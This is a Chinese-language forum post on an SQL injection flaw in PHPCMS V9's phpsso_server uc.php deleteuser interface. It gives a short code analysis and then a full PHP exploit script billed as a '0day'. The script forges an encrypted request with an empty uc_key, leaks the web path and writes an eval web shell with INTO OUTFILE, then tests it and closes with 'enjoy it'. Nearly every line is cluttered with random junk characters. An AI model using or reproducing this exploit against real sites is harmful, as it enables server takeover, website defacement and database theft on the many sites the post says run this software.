PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
! x1 l- J$ @- n! N" H
# |; ?" Q' i4 _/ w0 d# v J; _所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
2 y% [6 i. t8 ~ U
% m2 {- `6 S" k$ p漏洞分析:9 R6 C) t+ }* K3 t% Q6 t# Z
1.未启用ucenter服务的情况下uc_key为空
j1 R9 L, R) a3 d5 ~. r4 M) rdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
" ^7 Y) H# V6 n" U! }2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。+ m. \2 I1 H, g8 D- W' l+ }
public function deleteuser($get,$post) {
& h4 v8 p/ W9 m# k pc_base::load_app_func('global', 'admin');
5 U& W' F- b! w+ G/ r& s& w+ l pc_base::load_app_class('messagequeue', 'admin' , 0);
% V. I# g9 [' ~% O5 {. L $ids = new_stripslashes($get['ids']);3 `9 E. b Q! j; b6 V
$s = $this->member_db->select("ucuserid in ($ids)", "uid");4 R a3 v* i$ y/ E
SQL语句为
5 w6 \ |) n; b0 P% O ]! h, z' mSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
8 u' P% J! ^9 Y I5 h F
: H9 G" x: p8 e5 a$ [利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell7 A: A$ j0 M( m! t! P% k
<?php" D1 P* j% y6 i2 U
print_r('
8 j0 y B! B+ N4 g, ]---------------------------------------------------------------------------1 {4 ~3 W8 \3 H! Z$ q8 |
PHPcms (v9 or Old Version) uc api sql injection 0day
8 k1 X7 q; q- nby rayh4c#80sec.com. T, W. x; |, v6 x
--------------------------------------------------------------------------- v* p: f! p% S( E' T
');
+ Y; ~5 E7 F4 e0 k% [
& S; L- u$ t' ? c* hif ($argc<3) {2 F& I' C6 J& W% v+ }
print_r('
) {/ H* f) s& X: W* B* q---------------------------------------------------------------------------
# E+ h2 V0 n# l. h) OUsage: php '.$argv[0].' host path OPTIONS; d5 B4 X9 L0 t& H$ D7 F
host: target server (ip/hostname)
) |! ]/ R8 \& A( W( a' x, Bpath: path to phpcms
9 B$ s# |# h1 I! D" T1 y+ w# {( W8 FOptions:" Z4 \8 }* l) [* ^7 I Z/ r
-p[port]: specify a port other than 80
8 h1 v4 ?( M9 \ -P[ip:port]: specify a proxy( k" I/ g0 l5 F
Example:
( V$ l3 m( H! [8 M0 [php '.$argv[0].' localhost /
* U7 D2 i3 Y' w8 ophp '.$argv[0].' localhost /phpcms/ -p81' n. x2 b0 o. C: V+ h* n
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
, O2 |. E. L0 x/ D$ I* k2 l$ `# t---------------------------------------------------------------------------
& E8 R t# s. k7 r, O');8 O# J8 E+ m9 I, T! V5 w4 S* _4 m
die;% w1 r) P8 y4 j, _8 W7 c
}8 D& z6 i6 O' K7 G5 ^$ B6 |
2 Z2 G( ?) D ^
error_reporting(7);
8 l8 G$ l7 O! n5 @, | p: L' }ini_set("max_execution_time",0);
& {! a! i6 o% G& q) M+ ^ini_set("default_socket_timeout",5);
; ~- |& w, l) ?) {, {6 z5 R( o3 o- ~# ?% a
function quick_dump($string)4 i' A# C1 m" t8 T) C
{
& k, E' ^, D) z" l. j5 G $result='';$exa='';$cont=0;/ [) R" a- ~( p
for ($i=0; $i<=strlen($string)-1; $i++)
$ Q* j* d( ]+ x9 t8 k( l {. a( U( x2 V8 `9 n
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
. D3 |/ F" t& U5 E' s3 J; i. E {$result.=" .";}9 m7 J1 k2 M- ^( P/ n+ ^4 f
else
5 Y4 W7 n/ I7 x* `3 ]( X {$result.=" ".$string[$i];}
3 h2 m7 i9 g$ V3 I3 h if (strlen(dechex(ord($string[$i])))==2)
0 Q- x. L8 ?0 S: s3 E1 m o* [; G, B {$exa.=" ".dechex(ord($string[$i]));}
3 M& n& F# U# P9 F4 Y else$ l2 R" X/ z/ m# V& R3 i
{$exa.=" 0".dechex(ord($string[$i]));}8 r" X' j( @3 n
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
% E" R# k! C* U9 `/ k) [ }0 K1 u8 d4 [2 A. g
return $exa."\r\n".$result;
1 g m( t0 Z+ L! ~8 H* w9 ?: T}3 \) e, g' T) i8 l7 t3 O( z8 x
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
; Y1 ^9 H. \: F" p3 ]6 g; j
4 T0 u# i6 j1 o+ W1 I% t3 Q) @8 j* rfunction send($packet)/ A2 a/ o' i( R# n& O
{4 P, J( w+ x$ G- [1 ~) O( e
global $proxy, $host, $port, $html, $proxy_regex;$ @7 e0 ?8 m' j) R: {
if ($proxy=='') {
, n! w* e+ L1 [: b! O- f+ D2 W4 p0 u5 N, R $ock=fsockopen(gethostbyname($host),$port);% D' t" I$ C9 {+ L
if (!$ock) {
. c7 }+ F2 H! B& m: F echo 'No response from '.$host.':'.$port; die;! H1 G6 o3 c/ H! [3 v- z
}& ]6 A. O2 G! J! v
}- [' c6 @7 X: s+ G1 L. O
else {+ [( V: i6 N8 Z' h
$c = preg_match($proxy_regex,$proxy);
% b& i. n" [5 O% @1 u1 C if (!$c) { ^# y6 s) S: C7 X3 G
echo 'Not a valid proxy...';die;( z z: k: Y6 s; T7 d4 E5 S
}
( u$ {! f9 F6 K" o. S! a $parts=explode(':',$proxy);; h& v7 H+ P6 ]0 Y8 c
$parts[1]=(int)$parts[1];
' x: C- \( \4 n R# C5 d5 t echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";( n+ m# n7 f; b( V
$ock=fsockopen($parts[0],$parts[1]);1 w# w }/ h; w0 {; D$ \
if (!$ock) {
3 A' }, A& C3 a echo 'No response from proxy...';die;
& t: o( l5 N0 Y$ t# d2 m, {( [2 h }1 f8 N: P0 j& X8 T& k
}' K0 N8 x% t6 ~
fputs($ock,$packet);
) S* |$ l% @4 O% R p if ($proxy=='') {$ ?5 p% j, \' q8 U
$html='';8 G- w; G) d7 y
while (!feof($ock)) {
, i+ q$ O: `; I2 u $html.=fgets($ock);* P5 u' B% U1 A$ B6 E6 }
}
& i) m: f! F8 A, |8 p! f }
" q; M: e ]% v else {3 h5 s2 ]) q5 W5 u$ A2 Y0 d
$html='';# y# ?8 Z' Y7 M) Z* e
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+ Z0 C8 B6 k4 P0 ~6 @. k $html.=fread($ock,1);
: W- H( L$ V0 q9 q2 v }6 s, e- c& q$ K' l0 {
}7 X2 r4 ?+ X9 ~2 T
fclose($ock);# v; W# w' R( a
}- ]! z! @: S8 {- a
1 c' N; a0 b7 Y1 b$host=$argv[1];
4 u, D* @5 D& R& T. z/ z& r/ j. g$path=$argv[2];
% K5 ]( i5 h' }# Y- e t- l" K7 F$port=80;/ A3 B! D" P! y1 u- s
$proxy="";" Y+ R7 p% }. c& L3 o3 `8 c
for ($i=3; $i<$argc; $i++){- w% |9 M+ y. }8 ]: L1 D
$temp=$argv[$i][0].$argv[$i][1];3 r. ]9 }! T9 l
if ($temp=="-p")
) \" Z" P. F- @' c% a O" V* Z' W{
9 [9 p; f; n& p2 Q9 T: T $port=(int)str_replace("-p","",$argv[$i]);& ]# h; U3 [& N9 o+ z
}$ }* c3 j9 L4 w+ ?; s0 U
if ($temp=="-P")
6 d/ j0 R+ |7 t) g" q8 q* {{
9 s' U/ R/ z& O $proxy=str_replace("-P","",$argv[$i]);( D( A* D/ K! j0 o& b- G
}
- T6 d0 o0 t& y' F}
6 |6 @( C E3 x$ W2 l1 Y( U. a9 E+ J5 ^. D" Q2 l
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}: D {& Y1 {: S& {# z4 K( n' @
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
% D& d+ R# h# P! k5 z! m6 d6 I
- Z3 @ f6 Z u: ^1 [function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
! ]0 x3 T6 Y0 }% V5 m
- `$ d+ R) m m& L $ckey_length = 4;
1 E) [+ z% ~7 ]5 A K. K
_9 S9 M, v M8 w# f3 d- @ $key = md5($key ? $key : '');
/ x; [, y7 K& o! w $keya = md5(substr($key, 0, 16));
: f7 u; I. N0 d) V1 [ $keyb = md5(substr($key, 16, 16));& u; C1 L. T9 i- k9 m
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';+ W7 z/ o$ ]% a C9 J" ?1 e
& D0 ?% U' |: q. i' n) [ h8 y
$cryptkey = $keya.md5($keya.$keyc);* }; `8 [! M1 M; m) }" @
$key_length = strlen($cryptkey);; E# M0 K! F# Y# f% [* U6 }7 y
) b. q* k. C# p& a6 @ $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; p2 ~# B& R+ w0 y: c3 M( O
$string_length = strlen($string);; N( Z: u9 x! f* z- i- P
6 J6 G1 j( I+ C2 {. f $result = '';& w! Y3 H* m; A* f X2 d# c& d
$box = range(0, 255);7 O/ A' l2 F" }" n+ F6 X2 ^
/ U! t r0 B& G. ~- E( t' j6 e $rndkey = array();" P. }- C; k& E; X# u) `& D
for($i = 0; $i <= 255; $i++) {# }; u- i! S$ I
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
. M. i3 y- f2 i" W3 Q6 M1 w }
" ^3 P6 c3 u- r m( ?3 Z, ?
x+ z7 ]0 P% O* G2 u) w9 f for($j = $i = 0; $i < 256; $i++) {% ]% f3 K' N/ r* F9 C
$j = ($j + $box[$i] + $rndkey[$i]) % 256;( P, Y. W2 J* A# Q+ L4 d1 c
$tmp = $box[$i];
* Z2 W+ H# E2 ~4 f9 x $box[$i] = $box[$j];6 l- [! k; `- P3 }9 q; D
$box[$j] = $tmp;
$ J3 E# K5 g. I; S }
6 N% {2 B) U4 y! C* n
9 J0 b: ]5 P& x2 t9 ~3 ^; M5 T$ y0 ^ for($a = $j = $i = 0; $i < $string_length; $i++) { ?! m* f3 n3 X8 g% C( l2 Q7 ?0 I
$a = ($a + 1) % 256;- I* g6 p1 c0 H
$j = ($j + $box[$a]) % 256;$ p; G( o/ A( J
$tmp = $box[$a];
. H: r) ` v% y; T4 f: L: @ $box[$a] = $box[$j];
' B! Y, P/ x- m" U $box[$j] = $tmp;
$ L' a% ]$ e' i $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));' ~6 c/ Y7 M/ D8 r5 U' Q3 _# \
}
+ [; Y# |: Q5 u$ q$ P) }# o/ b8 Q9 b% ]5 ^3 ]
if($operation == 'DECODE') {$ J- v6 l0 K( Z4 e
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
8 g6 Y* n: t! ~) ~0 l4 L( R return substr($result, 26);
% U3 E& n; @+ d1 P, Y: _, T } else {: S/ B* c7 K% H
return '';9 O" Z, {8 {! c8 H+ a6 m3 t3 e2 V
}& W! o2 x) }* ?$ i1 a5 K+ f
} else {* F+ L; t8 `' [5 C. }$ h7 @
return $keyc.str_replace('=', '', base64_encode($result));
, N3 F! F) _4 Y$ l( H }0 A7 B/ j% S3 B* q
- p$ n7 Y% T: _2 e% l}% L# _& R* E$ {& N
/ R d V% K% R8 V* d x$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
7 Y. d& B/ u9 \% {9 d0 Z" ]8 F$SQL = urlencode(authcode($SQL, "ENCODE", ""));
$ r% o) W- e& j: ^; t; l# f6 Lecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
* E/ C' ~1 k2 C% o( w$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";& O- r/ j* B ]% B6 l" {! K
$packet.="User-Agent: Mozilla/5.0\r\n";, g% T# ?1 [2 c R4 d7 Z
$packet.="Host: ".$host."\r\n";
) K4 g! O" e, V; \0 a$packet.="Connection: Close\r\n\r\n";
% m# Y: v+ G/ }# h3 K3 s* ~send($packet);
2 p' _* r% T) c2 ]if(strpos($html,"MySQL Errno") > 0){
1 I% C2 _" p. Q& Z4 T2 _. Pecho "[2] 发现存在SQL注入漏洞"."\n";# N0 C, x2 Z- D
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";5 a# o* S/ l% {8 ^4 C; F
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";4 {3 h1 ~, u7 Q2 s1 y
$packet.="User-Agent: Mozilla/5.0\r\n";
% d7 V0 u6 d; \9 Y) |9 f0 r2 N$packet.="Host: ".$host."\r\n"; @! U! m. M: j# ^* P* f
$packet.="Connection: Close\r\n\r\n";# j" Y9 {+ s( s" D% }7 m7 ~- Y
send($packet);( f9 f7 E% C$ d- a2 E5 j- n6 o, Y
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
* Y) F- N, g( f8 m' ]//print_r($matches);6 H9 s- K( G5 W7 \ c. t
if(!empty($matches)){
+ ]) W' L; q) A4 I7 P) z" Xecho "[4] 得到web路径 " . $matches[0]."\n";9 O( n/ J: k9 `7 ?; I
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";4 Y: U; o' K/ ]9 ~8 R, C
$SQL = "time=999999999999999999999999&ids=1)";% w& r. Y8 w2 h0 L
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";* e2 V7 C( v! L% ^( ~8 h% g$ d B
$SQL.="&action=deleteuser";) r' D; @2 f4 k# Y, U& a8 ]7 n3 P
$SQL = urlencode(authcode($SQL, "ENCODE", ""));$ l6 l! {8 t* [6 d( W9 D7 @( [
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
( R$ O& M- A4 x8 I& E8 Y$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
) [( D2 }7 D6 M" g4 `! n4 D$packet.="User-Agent: Mozilla/5.0\r\n";
& B+ F9 B6 Q9 w- X2 U$ d$packet.="Host: ".$host."\r\n";
# G0 p1 `1 V. K$packet.="Connection: Close\r\n\r\n";! K: W8 d3 w5 @6 k8 F
send($packet);: }. p+ j- q* y" w2 D' G9 }$ u
if(strpos($html,"Access denied") > 0){
2 ?4 z' o& b& F. jecho "[-] MYSQL权限过低 禁止写入文件 ";7 g5 j2 m! ?- p+ {' r
die;
# a# _# I, g) M2 F( ^- b0 Z! H+ m( {}, F7 x k) |+ i, {
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";/ _& }: \: l0 _* C' l
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
# K9 [* k9 k# b$packet.="User-Agent: Mozilla/5.0\r\n";
! o( }* W& |/ k q5 L z5 r$packet.="Host: ".$host."\r\n"; W- O* y/ e1 c7 @5 |$ U L
$packet.="Connection: Close\r\n\r\n";. }) O" m T `! a
send($packet);
# z+ r& }$ F B P/ e" Q9 Yif(strpos($html,"<title>phpinfo()</title>") > 0){
$ `; N0 |1 d; u. becho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";3 Y3 V- X% r; y* l7 ^) m# M
}3 E" {( ^6 }; }' ?1 s6 V
}else{
6 l3 B" g: }" x" g" Necho "[-]未取到web路径 ";4 m0 b3 v! @) h- Q+ q. Q
}
4 u) g$ d' F; ]}else{
$ j$ q5 E. h" a- Q2 H/ A; i4 V3 @echo "[*]不存在SQL注入漏洞"."\n";( u( ^0 L: w/ \( V
}1 [* z# S' W' I- o+ F' l
- m- j# k" s! p?>* M$ B8 u& d( _9 j
|